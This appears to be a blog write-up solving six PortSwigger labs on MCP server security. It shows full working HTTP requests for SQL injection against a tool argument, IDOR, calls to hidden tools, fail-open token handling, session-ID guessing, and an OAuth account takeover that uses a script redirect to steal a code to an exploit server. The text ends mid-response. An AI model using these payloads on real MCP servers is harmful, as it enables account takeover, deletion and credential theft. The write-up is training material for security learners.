PortSwigger’s MCP topic is small: one page of theory and six labs. I finished all six, and the thing that struck me is how little of it is “AI”. Every lab is an ordinary API bug - the only new part is the transport, plus the fact that a language model is nominally the client.
That framing is the point of the topic. An MCP server is a web API that happens to speak JSON-RPC, so anyone who can send HTTP can call it. The assistant decides when to call a tool; nothing stops an attacker from sending the same request directly, with arguments of their own choosing.
The labs#
| # | Lab | Difficulty | Bug class |
|---|---|---|---|
| 1 | SQL injection in an MCP server tool | Apprentice | Injection in tool arguments |
| 2 | Broken access control in an MCP server tool | Apprentice | Missing object-level authorization |
| 3 | MCP server hides tools without restricting them | Apprentice | Hidden is not enforced |
| 4 | MCP server authentication fails open | Practitioner | Fallback identity on an invalid token |
| 5 | MCP session ID used for authentication | Practitioner | Session ID as the credential |
| 6 | MCP OAuth account takeover via dynamic client registration | Expert | Consent keyed by client name |
What MCP is#
The Model Context Protocol is an open protocol that lets AI applications connect to external tools and data. An application exposes functionality through an MCP server; the MCP client inside the assistant connects to it and discovers what it can do.
A server can offer three kinds of capability:
- Tools - named functions the client calls with arguments, such as
list_productsorupdate_email. When a tool runs it usually queries a database or performs an action on behalf of the user. - Resources - data the client reads by URI: files, database records, documents. A resource template describes a family of possible URIs.
- Prompts - reusable prompt templates the client fills in with arguments.
From a security perspective each of these is an API endpoint. The assistant decides when to use them, but nothing stops an attacker from sending the same requests directly, with arguments of their own choosing. That is the whole reason these labs are solvable without ever talking to a model.
How a remote MCP server works#
Remote MCP servers send JSON-RPC 2.0 messages over HTTP, usually to a single endpoint such as /mcp. The client puts each message in the body of a POST, and the server answers with JSON or a stream of server-sent events. Calling a tool named get_product looks like this:
POST /mcp HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/json
Accept: application/json, text/event-stream
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_product",
"arguments": {
"productId": "1"
}
}
}Several protocol versions are in use, and they differ in how a client starts talking to a server:
- In older versions the client begins with an
initializerequest. The server can reply withinstructionsfor the assistant and with anMcp-Session-Idheader that the client sends on every later request. Most servers, including the ones in these labs, still use this flow. - The latest version enforces statelessness: the client calls
server/discoverto learn about the server.
My starting request for every lab was the same initialize, using protocol version 2025-03-26:
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {
"roots": { "listChanged": true },
"sampling": {}
},
"clientInfo": { "name": "ExampleClient", "version": "1.0.0" }
}
}{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-03-26",
"capabilities": { "tools": { "listChanged": false } },
"serverInfo": { "name": "shop-mcp", "version": "1.0.0" }
}
}Two practical notes from doing this by hand in Repeater:
- Send
Content-Type: application/jsonandAccept: application/json, text/event-stream. A body with nomethodgets youInvalid JSON-RPC message, which is a good signal that you have found a real MCP endpoint. - Read the
initializeresponse properly.serverInfoand especiallyinstructionsare attacker-facing text that often leaks what the capability lists hide. Two of the six labs are solved purely from that field.
Authorization#
An MCP server that needs to know who the user is typically expects a bearer token in the Authorization header. Some servers accept a static API key; others act as an OAuth 2.1 resource server.
When an OAuth-protected server receives a request without a valid token it answers 401 Unauthorized with a WWW-Authenticate header. That header points at the server’s protected resource metadata, which in turn names the authorization server. MCP clients often register themselves with that authorization server automatically, using OAuth dynamic client registration - which is exactly the machinery lab 6 abuses.
Mapping a server#
To test an MCP server you first have to find it. Look for:
- documentation or settings pages that explain how to connect an assistant to the site;
- common endpoint paths such as
/mcpor/sse; - metadata files such as
/.well-known/oauth-protected-resource.
Once you have the endpoint, everything is discoverable from it. On a server that uses the initialize flow, send that first, then use tools/list, resources/list, resources/templates/list and prompts/list. You can then call tools, read resources and retrieve prompts with arguments you control.
When mapping the attack surface, pay attention to:
- the server’s name, version and instructions - they sometimes describe tools or behaviour the lists do not reveal;
- each tool’s input schema, including optional arguments a normal client would never send;
- which requests need a token, and how the server reacts to a missing, invalid or expired one;
- whether the server issues an
Mcp-Session-Id, and whether its value follows a recognisable pattern.
PortSwigger also ships an MCP Server Scanner extension for Burp Suite Professional that connects to a server, enumerates its tools, resources and prompts, and runs them through Burp Scanner. Useful for the mapping phase on a real engagement; the labs are small enough that Repeater is faster.
Lab 1 - SQL injection in an MCP server tool#
Apprentice. Tool arguments go straight into a query.
The shop exposes /mcp so assistants can browse the product catalogue, and one of its tools passes its arguments into a SQL query without sanitising them. The objective is to read the administrator’s password.
My first request was a bare POST /mcp with no JSON-RPC envelope, which returned Invalid JSON-RPC message. After that I sent the standard initialize above and got shop-mcp back with its capabilities.
tools/list then returned two tools - list_products with an optional category argument, and get_product with a productId:
Request:
POST /mcp HTTP/2
Host: 0a30003b04c1bf8280dc4e1a0059008d.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 647
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"tools": [
{
"name": "list_products",
"title": "List products",
"description": "Lists the products currently for sale. Optionally filter by category, for example \"Gifts\".",
"inputSchema": {
"type": "object",
"properties": {
"category": {
"description": "Only return products in this category",
"type": "string"
}
},
"required": [],
"additionalProperties": false
}
},
{
"name": "get_product",
"title": "Get product",
"description": "Gets the details of a single product by its ID.",
"inputSchema": {
"type": "object",
"properties": {
"productId": {
"description": "The product ID",
"type": "string"
}
},
"required": [
"productId"
],
"additionalProperties": false
}
}
]
}
}A normal call against list_products:
POST /mcp HTTP/2
Host: 0a30003b04c1bf8280dc4e1a0059008d.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "list_products",
"arguments": {
"category": "gifts"
}
}
}{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [{ "type": "text", "text": "[]" }],
"isError": false
}
}The differential test is the whole bug: one quote breaks the query, two quotes do not.
POST /mcp HTTP/2
Host: 0a30003b04c1bf8280dc4e1a0059008d.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "list_products",
"arguments": {
"category": "'"
}
}
}{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [{ "type": "text", "text": "Failed to list products" }],
"isError": true
}
}POST /mcp HTTP/2
Host: 0a30003b04c1bf8280dc4e1a0059008d.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "list_products",
"arguments": {
"category": "''"
}
}
}{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [{ "type": "text", "text": "[]" }],
"isError": false
}
}An unescaped quote errors, a doubled quote is a valid empty string, and results come back as JSON text inside content[0].text. That is a string-built SQL query, so a UNION attack works - with the twist that the tool returns two columns mapped to name and description:
POST /mcp HTTP/2
Host: 0a30003b04c1bf8280dc4e1a0059008d.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "list_products",
"arguments": {
"category": "' UNION SELECT username, password FROM users--"
}
}
}The response hands over the credentials table - administrator with its password, carlos, and the rest - which is everything needed to log in as the administrator.
Why it matters: the tool validates nothing because the developer assumed the arguments come from a model that is “trying to help”. Arguments come from whoever holds the socket.
Lab 2 - Broken access control in an MCP server tool#
Apprentice. A tool that trusts an argument to decide whose account it acts on.
Here the MCP server authenticates with the API key shown on the account page, passed in an Authorization: Bearer header, and one of its tools trusts an argument to decide which account it acts on. The goal is to change the email address of carlos.
Logging in as wiener:peter gives us the key shown on the account page, and it goes on the request as a bearer token.
Here tools/list returns the catalogue helpers plus update_email:
POST /mcp HTTP/2
Host: 0ac200fe03e0e0dd8067da6300840072.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}{
"jsonrpc": "2.0",
"id": 1,
"result": {
"tools": [
{
"name": "list_products",
"title": "List products",
"description": "Lists the products currently for sale. Optionally filter by category, for example \"Gifts\".",
"inputSchema": {
"type": "object",
"properties": {
"category": {
"description": "Only return products in this category",
"type": "string"
}
},
"required": [],
"additionalProperties": false
}
},
{
"name": "get_product",
"title": "Get product",
"description": "Gets the details of a single product by its ID.",
"inputSchema": {
"type": "object",
"properties": {
"productId": {
"description": "The product ID",
"type": "string"
}
},
"required": ["productId"],
"additionalProperties": false
}
},
{
"name": "get_account_details",
"title": "Get account details",
"description": "Gets the username and email address of your account.",
"inputSchema": {
"type": "object",
"properties": {},
"required": [],
"additionalProperties": false
}
},
{
"name": "update_email",
"title": "Update email",
"description": "Updates the email address on your account.",
"inputSchema": {
"type": "object",
"properties": {
"email": {
"description": "The new email address",
"type": "string"
},
"username": {
"description": "The account to update. Defaults to your account.",
"type": "string"
}
},
"required": ["email"],
"additionalProperties": false
}
}
]
}
}update_email’s input schema exposes a username argument - exactly the kind of parameter a normal client, and the assistant, would never fill in, because the server already knows who you are from the token.
Calling it with someone else’s username is the entire attack:
POST /mcp HTTP/2
Host: 0ac200fe03e0e0dd8067da6300840072.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "update_email",
"arguments": {
"email": "sebin@gmail.com",
"username": "carlos"
}
}
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 113
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "Email updated for carlos"
}
],
"isError": false
}
}The response confirms the change. No role check, no “does this token own that username” check - the tool treats an attacker-controlled argument as the authorization decision.
Why it matters: this is plain BOLA/IDOR, and it is the most likely bug in any MCP server built by wrapping an existing admin function. Enumerate every optional argument in every inputSchema and ask what happens if you send it.
Lab 3 - MCP server hides tools without restricting them#
Apprentice. Filtering the catalogue is not an access control.
This server has staff-only tools and hides them from customers in tools/list. The hint is in the initialize instructions, which describe a delete_user capability - a tool that never appears in the list. The objective is to delete carlos.
As usual we log in with wiener, take the API key and send initialize:
POST /mcp HTTP/2
Host: 0a6400240392f92f80f00da500470070.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {
"roots": { "listChanged": true },
"sampling": {}
},
"clientInfo": { "name": "ExampleClient", "version": "1.0.0" }
}
}Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 359
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-03-26",
"capabilities": {
"tools": { "listChanged": false }
},
"serverInfo": {
"name": "shop-mcp",
"version": "1.0.0"
},
"instructions": "Browse the catalog with list_products and get_product, and check your account with get_account_details. Staff accounts can also manage customers with list_users and delete_user."
}
}The response’s instructions mention a staff tool called delete_user - and tools/list does not:
POST /mcp HTTP/2
Host: 0a6400240392f92f80f00da500470070.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 868
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"tools": [
{
"name": "list_products",
"title": "List products",
"description": "Lists the products currently for sale. Optionally filter by category, for example \"Gifts\".",
"inputSchema": {
"type": "object",
"properties": {
"category": {
"type": "string",
"description": "Only return products in this category"
}
},
"required": [],
"additionalProperties": false
}
},
{
"name": "get_product",
"title": "Get product",
"description": "Gets the details of a single product by its ID.",
"inputSchema": {
"type": "object",
"properties": {
"productId": {
"type": "string",
"description": "The product ID"
}
},
"required": ["productId"],
"additionalProperties": false
}
},
{
"name": "get_account_details",
"title": "Get account details",
"description": "Gets the username and email address of your account.",
"inputSchema": {
"type": "object",
"properties": {},
"required": [],
"additionalProperties": false
}
}
]
}
}The list comes back with list_products, get_product and get_account_details - no delete_user. But the method router still has it registered, so calling it directly works:
POST /mcp HTTP/2
Host: 0a6400240392f92f80f00da500470070.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "delete_user",
"arguments": {
"username": "carlos"
}
}
}{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [{ "type": "text", "text": "Deleted carlos" }],
"isError": false
}
}Why it matters: the list is documentation, not enforcement. Any tool you can name, you can call. The instructions field told us the name - which is why it is worth reading every field of the initialize response instead of jumping straight to tools/list.
Lab 4 - MCP server authentication fails open#
Practitioner. An unrecognised token does not mean “anonymous”, it means “staff”.
The server rejects requests that carry no token, but mishandles tokens it does not recognise. The objective is to delete carlos.
POST /mcp HTTP/2
Host: 0a1400b5046953c382f966cf006f006e.web-security-academy.net
Authorization: Bearer MEhYs1haAU6DKGp5KYO2QGmyJXSfOswh
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400b5046953c382f966cf006f006e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=KnLi3jPdYMgwywJxa4CHz4pPpcpMUf6U
Sec-Websocket-Key: alDGpaW+oDHG1kh+P07A2g==
Content-Type: application/json
Content-Length: 233
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {
"roots": {
"listChanged": true
},
"sampling": {}
},
"clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
}
}
}The initialize response names the two credential types it accepts:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 301
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-03-26",
"capabilities": {
"tools": {
"listChanged": false
}
},
"serverInfo": {
"name": "shop-mcp",
"version": "1.0.0"
},
"instructions": "Authenticate with the API key from your account page. OAuth access tokens issued for our partner API are also accepted."
}
}That is the setup for a fail-open bug. With our own API key we get three customer tools:
Request:
POST /mcp HTTP/2
Host: 0a1400b5046953c382f966cf006f006e.web-security-academy.net
Authorization: Bearer MEhYs1haAU6DKGp5KYO2QGmyJXSfOswh
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400b5046953c382f966cf006f006e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=
Sec-Websocket-Key: alDGpaW+oDHG1kh+P07A2g==
Content-Type: application/json
Content-Length: 102
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=fkNs4f6HY0SQHYuOj4yUF4mgXAJuDFxv; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 868
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"tools": [
{
"name": "list_products",
"title": "List products",
"description": "Lists the products currently for sale. Optionally filter by category, for example \"Gifts\".",
"inputSchema": {
"type": "object",
"properties": {
"category": {
"description": "Only return products in this category",
"type": "string"
}
},
"required": [],
"additionalProperties": false
}
},
{
"name": "get_product",
"title": "Get product",
"description": "Gets the details of a single product by its ID.",
"inputSchema": {
"type": "object",
"properties": {
"productId": {
"description": "The product ID",
"type": "string"
}
},
"required": [
"productId"
],
"additionalProperties": false
}
},
{
"name": "get_account_details",
"title": "Get account details",
"description": "Gets the username and email address of your account.",
"inputSchema": {
"type": "object",
"properties": {},
"required": [],
"additionalProperties": false
}
}
]
}
}Send a well-formed but invalid token and the response is will be the five tools list, including two marked “Staff only”:
Request:
POST /mcp HTTP/2
Host: 0a1400b5046953c382f966cf006f006e.web-security-academy.net
Authorization: Bearer wwww
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400b5046953c382f966cf006f006e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=
Sec-Websocket-Key: alDGpaW+oDHG1kh+P07A2g==
Content-Type: application/json
Content-Length: 102
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {
"cursor": "optional-cursor-value"
}
}Response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=nySQbEszO16CliG4MhIsJtaYshtSIBpL; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 1340
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"tools": [
{
"name": "list_products",
"title": "List products",
"description": "Lists the products currently for sale. Optionally filter by category, for example \"Gifts\".",
"inputSchema": {
"type": "object",
"properties": {
"category": {
"description": "Only return products in this category",
"type": "string"
}
},
"required": [],
"additionalProperties": false
}
},
{
"name": "get_product",
"title": "Get product",
"description": "Gets the details of a single product by its ID.",
"inputSchema": {
"type": "object",
"properties": {
"productId": {
"description": "The product ID",
"type": "string"
}
},
"required": [
"productId"
],
"additionalProperties": false
}
},
{
"name": "get_account_details",
"title": "Get account details",
"description": "Gets the username and email address of your account.",
"inputSchema": {
"type": "object",
"properties": {},
"required": [],
"additionalProperties": false
}
},
{
"name": "list_users",
"title": "List users",
"description": "Staff only. Lists every customer account.",
"inputSchema": {
"type": "object",
"properties": {},
"required": [],
"additionalProperties": false
}
},
{
"name": "delete_user",
"title": "Delete user",
"description": "Staff only. Permanently deletes a customer account.",
"inputSchema": {
"type": "object",
"properties": {
"username": {
"description": "The account to delete",
"type": "string"
}
},
"required": [
"username"
],
"additionalProperties": false
}
}
]
}
}When the server cannot validate the token it falls back to a default identity that happens to be privileged, instead of rejecting the request. Deleting carlos is then just:
POST /mcp HTTP/2
Host: 0a1400b5046953c382f966cf006f006e.web-security-academy.net
Authorization: Bearer wwww
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400b5046953c382f966cf006f006e.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=
Sec-Websocket-Key: alDGpaW+oDHG1kh+P07A2g==
Content-Type: application/json
Content-Length: 116
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "delete_user",
"arguments": {
"username": "carlos"
}
}
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=44TzR2Oe9eSS9lyiqllX94DMXJgp5eWu; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 103
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [
{
"type": "text",
"text": "Deleted carlos"
}
],
"isError": false
}
}The test, in three requests: no token (expect 401), your valid token (expect your own tools), and a syntactically valid but unknown token. If the third is treated as somebody rather than nobody, the server fails open. The capability list changing between identities is the tell, and it is trivial to spot once the two responses sit side by side.
Lab 5 - MCP session ID used for authentication#
Practitioner. A predictable identifier the server treats as proof of identity.
This server issues an Mcp-Session-Id when a client initialises, and the administrator is already connected. The objective is to delete carlos using that session.
Without the header, the server refuses early:
POST /mcp HTTP/2
Host: 0a5f00ee043fa7fc82407fd2008f00e9.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": { "cursor": "optional-cursor-value" }
}HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 31
"Missing Mcp-Session-Id header"initialize gives us a session:
POST /mcp HTTP/2
Host: 0a5f00ee043fa7fc82407fd2008f00e9.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {
"roots": { "listChanged": true },
"sampling": {}
},
"clientInfo": { "name": "ExampleClient", "version": "1.0.0" }
}
}HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Mcp-Session-Id: 164577
Content-Length: 164The listing then works once the session header is added:
POST /mcp HTTP/2
Host: 0a5f00ee043fa7fc82407fd2008f00e9.web-security-academy.net
Content-Type: application/json
Mcp-Session-Id: 164577
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": { "cursor": "optional-cursor-value" }
}With Mcp-Session-Id: 164577, get_account_details returns wiener - so the session is bound to our account, and the question becomes whether the id is guessable.
It is. The value is short and sequential, so walking the neighbourhood from 164577 to 153291 lands on the administrator’s live session:
POST /mcp HTTP/2
Host: 0a5f00ee043fa7fc82407fd2008f00e9.web-security-academy.net
Content-Type: application/json
Mcp-Session-Id: 153291
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "get_account_details",
"arguments": {}
}
}{
"jsonrpc": "2.0",
"id": 3,
"result": {
"content": [
{
"type": "text",
"text": "{\n \"username\": \"administrator\",\n \"email\": \"\"\n}"
}
],
"isError": false
}
}With that session id, delete_user runs as the administrator:
POST /mcp HTTP/2
Host: 0a5f00ee043fa7fc82407fd2008f00e9.web-security-academy.net
Content-Type: application/json
Mcp-Session-Id: 153291
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "delete_user",
"arguments": {
"username": "carlos"
}
}
}{
"jsonrpc": "2.0",
"id": 2,
"result": {
"content": [{ "type": "text", "text": "Deleted carlos" }],
"isError": false
}
}Why it matters: a session identifier is not an authenticator. If the header alone is enough to act as the session’s owner, guessing or stealing one is full account takeover. It also explains the lab’s hint about which requests still need the API key: once you hold someone’s session id, nothing else does.
Lab 6 - MCP OAuth account takeover via dynamic client registration#
Expert. Two implementation shortcuts compose into takeover: any redirect URI is accepted, and consent is remembered by client name.
The shop protects /mcp with its own OAuth 2.1 authorization server. Any MCP client can register itself through dynamic client registration, the official “Shop Assistant” desktop app is already registered, and the administrator has already approved it. The administrator will also open any link sent from the exploit server. The objective is to obtain an access token for the administrator and use it to delete carlos.
An unauthenticated call to the MCP endpoint tells you where the metadata lives:
POST /mcp HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {}
}HTTP/2 401
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
content-type: application/json; charset=utf-8
www-authenticate: Bearer resource_metadata="https://0ac400870333a66682873d51000d0058.web-security-academy.net/.well-known/oauth-protected-resource"
content-length: 14
"Unauthorized"That header names the protected resource metadata, which names the authorization server:
/.well-known/oauth-protected-resource
{
"resource": "https://0ac400870333a66682873d51000d0058.web-security-academy.net/mcp",
"authorization_servers": ["https://0ac400870333a66682873d51000d0058.web-security-academy.net"],
"bearer_methods_supported": ["header"]
}/.well-known/oauth-authorization-server
{
"issuer": "https://0ac400870333a66682873d51000d0058.web-security-academy.net",
"authorization_endpoint": "https://0ac400870333a66682873d51000d0058.web-security-academy.net/oauth/authorize",
"token_endpoint": "https://0ac400870333a66682873d51000d0058.web-security-academy.net/oauth/token",
"registration_endpoint": "https://0ac400870333a66682873d51000d0058.web-security-academy.net/oauth/register",
"response_types_supported": ["code"],
"grant_types_supported": ["authorization_code"],
"code_challenge_methods_supported": ["S256"],
"token_endpoint_auth_methods_supported": ["none"]
}Three facts carry the rest of the lab: dynamic registration is enabled, only S256 PKCE is accepted, and clients are public (token_endpoint_auth_method: none). The fourth comes from the authenticated initialize response, which names the trusted client outright:
{
"instructions": "Sign in with OAuth. Our Shop Assistant desktop app is registered as client_id shop-assistant, and any MCP client that supports dynamic client registration can connect."
}PKCE looks like protection but is not, here. It normally stops code interception because the attacker needs the code_verifier matching the code_challenge - but we choose the verifier when we build the authorize URL, so we can steal a code and still redeem it.
printf %s "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" | openssl dgst -binary -sha256 | openssl base64 | tr '+/' '-_' | tr -d '='code_verifier = dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
code_challenge = E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM (S256, base64url, unpadded)Registration then accepts anything, including a callback on attacker infrastructure:
POST /oauth/register HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"client_name": "Client",
"redirect_uris": [
"https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback"
]
}{
"client_id": "QLHGBy5BoRe1GERFGTGS2gqMbU3E2UQl",
"client_name": "Client",
"redirect_uris": ["https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code"],
"response_types": ["code"]
}Now the part worth doing carefully, because it decides whether the attack works. Authorize as wiener with that client:
GET /oauth/authorize?response_type=code&client_id=QLHGBy5BoRe1GERFGTGS2gqMbU3E2UQl
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
&redirect_uri=https%3A%2F%2Fexploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net%2Fcallback
&state=1&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256 HTTP/2
Cookie: session=uVU01cTJb2EhUOH0D9rQFtPfefS8qTb3The response is a consent screen carrying a consent_id:
<h1>Client</h1>
<p>Client wants to use the shop's MCP server as you, including any stored ...</p>
<form action="/oauth/authorize" method="POST">
<input type="hidden" name="consent_id" value="Vu8ZLfmHmv44CEja8dANi4OdtCne4lBk">
<button type="submit" name="action" value="approve">Allow</button>
<button type="submit" name="action" value="deny">Deny</button>
</form>Approving it returns a code to our callback:
POST /oauth/authorize HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
consent_id=Vu8ZLfmHmv44CEja8dANi4OdtCne4lBk&action=approveHTTP/2 302
location: https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback?code=Tpyn4azWrGiCOnF8NSeHxXT6e83HSOzi&state=1Authorize the same client again and there is no prompt - consent was cached:
HTTP/2 302
location: /callback?code=txpO7E8U1As01vVZvNv75dJSHSogNMHY&state=1Caching consent is normal. The interesting test is a second client with the same client_name but a different client_id and a different redirect URI:
POST /oauth/register HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"client_name": "Client",
"redirect_uris": [
"https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback2"
]
}{ "client_id": "59UnfL54hTZG3Z9Mo9FQ6sDuP10Kbm3u" }Authorizing that client returns a 302 straight to callback2?code=...:
HTTP/2 302
location: /callback2?code=fNgWNxu4YNiHQ5knstXYNG76sQ4TIkIa&state=1No consent_id in the body at all. A client that was never approved, with a redirect URI it never registered, received a code with zero user interaction. Consent is recorded against the client name, and that is the entire vulnerability.
So the attack is to register a client called exactly Shop Assistant:
POST /oauth/register HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/json
{
"client_name": "Shop Assistant",
"redirect_uris": [
"https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback"
]
}{
"client_id": "79uHHiPLpkypp02cEqd2d8eQnYBg4cC8",
"client_name": "Shop Assistant",
"redirect_uris": ["https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback"],
"token_endpoint_auth_method": "none",
"grant_types": ["authorization_code"],
"response_types": ["code"]
}The name matches the app the administrator already trusts, so no consent screen will appear for the victim. Store an exploit that sends their browser to the authorize endpoint for our client:
<script>
location = 'https://0ac400870333a66682873d51000d0058.web-security-academy.net/oauth/authorize?response_type=code&client_id=79uHHiPLpkypp02cEqd2d8eQnYBg4cC8&redirect_uri=https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback&state=1&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&code_challenge_method=S256';
</script>Store it from the exploit server form, then deliver it to the victim. The access log shows the redirect arriving with a code:
10.0.3.166 2026-11-30 15:26:22 +0000 "GET /callback?code=PgSlzXYEufJuSNGWMIEhvJUHwogbnhMi&state=1 HTTP/1.1" 404
"user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36"Redeem it immediately - codes are single-use and short-lived, and the verifier is ours:
POST /oauth/token HTTP/2
Host: 0ac400870333a66682873d51000d0058.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=PgSlzXYEufJuSNGWMIEhvJUHwogbnhMi
&client_id=79uHHiPLpkypp02cEqd2d8eQnYBg4cC8
&redirect_uri=https://exploit-0a62006c03d8a60182523cb6013500bc.exploit-server.net/callback
&code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk{
"access_token": "LqkTZvU6K5OUvIBM88UcJyDjLinAcPq3",
"token_type": "Bearer",
"expires_in": 3600
